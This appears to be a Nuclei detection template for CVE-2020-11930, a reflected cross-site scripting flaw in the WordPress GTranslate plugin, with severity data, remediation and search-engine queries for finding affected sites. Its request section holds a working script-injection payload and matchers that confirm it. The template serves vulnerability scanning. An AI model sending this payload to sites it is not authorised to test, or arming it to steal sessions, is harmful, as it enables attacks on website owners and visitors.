WordPress GTranslate <2.8.52 - Cross-Site Scripting

id: CVE-2020-11930

info:
  name: WordPress GTranslate <2.8.52 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress GTranslate plugin before 2.8.52 contains an unauthenticated reflected cross-site scripting vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.
  impact: |
    Attackers can inject malicious JavaScript through a crafted link, potentially stealing user credentials, session tokens, or performing unauthorized actions on behalf of victims when they click the malicious link.
  remediation: |
    Update the WordPress GTranslate plugin to version 2.8.52 or later.
  reference:
    - https://wpscan.com/vulnerability/10181
    - https://payatu.com/blog/gaurav/analysis-of-cve-2020-11930:-reflected-xss-in-gtranslate-wordpress-module
    - https://plugins.trac.wordpress.org/changeset/2245581/gtranslate
    - https://plugins.trac.wordpress.org/changeset/2245591/gtranslate
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11930
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-11930
    cwe-id: CWE-79
    epss-score: 0.04457
    epss-percentile: 0.91407
    cpe: cpe:2.3:a:gtranslate:translate_wordpress_with_gtranslate:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: gtranslate
    product: translate_wordpress_with_gtranslate
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/gtranslate
    fofa-query: body=/wp-content/plugins/gtranslate
    publicwww-query: "/wp-content/plugins/gtranslate"
  tags: cve2020,cve,wordpress,wp,xss,wp-plugin,wpscan,gtranslate,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/does_not_exist"%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E<img%20src=x'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'uri-translation'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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